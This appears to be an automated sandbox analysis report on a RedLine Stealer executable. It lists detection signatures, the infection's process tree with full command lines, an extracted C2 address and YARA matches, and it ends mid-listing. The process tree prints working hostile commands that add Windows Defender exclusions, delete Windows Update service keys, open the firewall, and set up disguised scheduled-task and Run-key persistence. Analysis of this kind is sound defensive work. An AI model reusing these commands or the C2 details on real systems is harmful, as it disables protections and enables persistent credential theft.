Edit tour

Windows Analysis Report
cfBJlHsOsz.exe

Overview

General Information

Sample Name:	cfBJlHsOsz.exe
Analysis ID:	753337
MD5:	63c02bf79ba67e69dfb5b5f115986f8b
SHA1:	0282d75ca0ef8167e1798ab5925bdddf604753c9
SHA256:	84806d7ed59a57fce9b4bb07519d78f25edd45c5e56c5739a252f4b4b3c701e2
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Sigma detected: Stop multiple services

Detected unpacking (changes PE section rights)

Antivirus detection for dropped file

Detected unpacking (creates a PE file in dynamic memory)

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Uses netsh to modify the Windows network and firewall settings

Uses cmd line tools excessively to alter registry or file data

Encrypted powershell cmdline option found

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to inject code into remote processes

Tries to detect virtualization through RDTSC time measurements

Adds a directory exclusion to Windows Defender

Found many strings related to Crypto-Wallets (likely being stolen)

Drops executables to the windows directory (C:\Windows) and starts them

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Uses powercfg.exe to modify the power settings

Sample uses process hollowing technique

Modifies power options to not sleep / hibernate

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Found hidden mapped module (file has been removed from disk)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Modifies the windows firewall

Potential dropper URLs found in powershell memory

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Sleep loop found (likely to delay execution)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Uses reg.exe to modify the Windows registry

PE file contains more sections than normal

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

PE file contains an invalid checksum

Detected TCP or UDP traffic on non-standard ports

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

cfBJlHsOsz.exe (PID: 2572 cmdline: C:\Users\user\Desktop\cfBJlHsOsz.exe MD5: 63C02BF79BA67E69DFB5B5F115986F8B)

conhost.exe (PID: 2956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vbc.exe (PID: 5072 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe MD5: B3A917344F5610BEEC562556F11300FA)

brave.exe (PID: 1332 cmdline: "C:\Users\user\AppData\Local\Google\brave.exe" MD5: 9253ED091D81E076A3037E12AF3DC871)

powershell.exe (PID: 3560 cmdline: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 4604 cmdline: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 5708 cmdline: sc stop UsoSvc MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 5340 cmdline: sc stop WaaSMedicSvc MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 5388 cmdline: sc stop wuauserv MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 680 cmdline: sc stop bits MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 1408 cmdline: sc stop dosvc MD5: D79784553A9410D15E04766AAAB77CD6)

reg.exe (PID: 4960 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 4720 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 1004 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 4512 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 5708 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

cmd.exe (PID: 1392 cmdline: cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powercfg.exe (PID: 4304 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 1504 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 5376 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 612 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powershell.exe (PID: 6092 cmdline: powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' } MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ofg.exe (PID: 4880 cmdline: "C:\Users\user\AppData\Local\Google\ofg.exe" MD5: 33DAD992607D0FFD44D2C81FE67F8FB1)

schtasks.exe (PID: 6076 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 1500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 3196 cmdline: "C:\Users\user\AppData\Local\Google\chrome.exe" MD5: 8CD1EA50F8F4C45055400E70DA52B326)

powershell.exe (PID: 4760 cmdline: powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 4420 cmdline: powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA= MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 1848 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5852 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

GoogleUpdate.exe (PID: 1916 cmdline: C:\Windows\GoogleUpdate.exe MD5: 9A66A3DE2589F7108426AF37AB7F6B41)

GoogleUpdate.exe (PID: 848 cmdline: C:\Windows\GoogleUpdate.exe MD5: 9A66A3DE2589F7108426AF37AB7F6B41)

netsh.exe (PID: 3776 cmdline: netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 4980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 4892 cmdline: netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

WerFault.exe (PID: 3772 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 248 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

ofg.exe (PID: 2064 cmdline: C:\Users\user\AppData\Local\Google\ofg.exe MD5: 33DAD992607D0FFD44D2C81FE67F8FB1)

schtasks.exe (PID: 6136 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 6012 cmdline: C:\Users\user\AppData\Local\Google\chrome.exe MD5: 8CD1EA50F8F4C45055400E70DA52B326)

powershell.exe (PID: 5912 cmdline: powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 4304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 5488 cmdline: powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA= MD5: DBA3E6449E97D4E3DF64527EF7012A10)

chrome.exe (PID: 2384 cmdline: C:\Users\user\AppData\Local\Google\chrome.exe MD5: 8CD1EA50F8F4C45055400E70DA52B326)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["37.220.87.2:27924"], "Authorization Header": "e457de0f8e67971846447e9d0f415966"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Google\ofg.exe	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000003.247312905.0000000000462000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000022.00000002.562595624.000001FA7D180000.00000040.00000400.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
00000000.00000000.248225794.000000000041C000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.248833515.000000000041C000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000022.00000002.567019472.000001FA7DC50000.00000040.00001000.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x44d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
Process Memory Space: cfBJlHsOsz.exe PID: 2572	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 5072	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 5072	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.cfBJlHsOsz.exe.41b788.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.cfBJlHsOsz.exe.41b788.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x174b5:$v2_1: ListOfProcesses 0x17249:$v4_3: base64str 0x182b8:$v4_4: stringKey 0x14e90:$v4_5: BytesToStringConverted 0x13ef8:$v4_6: FromBase64 0x15658:$v4_8: procName 0x159db:$v5_1: DownloadAndExecuteUpdate 0x17159:$v5_2: ITaskProcessor 0x159c9:$v5_3: CommandLineUpdate 0x159ba:$v5_4: DownloadUpdate 0x1605c:$v5_5: FileScanning 0x151ff:$v5_7: RecordHeaderField 0x14c1e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
34.2.powershell.exe.1fa7d180000.0.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
34.2.powershell.exe.1fa7d180000.0.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x2cd7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
20.0.ofg.exe.840000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
17.2.ofg.exe.840000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
43.0.GoogleUpdate.exe.970000.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x16ac5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16dd5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x170b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x173a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17691:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17995:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17c81:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17f79:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18279:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18561:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18849:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18b31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18e35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19141:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1943d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19739:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19a29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19d35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a025:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a305:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a611:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
20.2.ofg.exe.840000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
17.0.ofg.exe.840000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
21.2.chrome.exe.1734b18.1.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x13ec5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x141d5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x144b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x147a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x14a91:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x14d95:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15081:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15379:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15679:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15961:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15c49:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15f31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 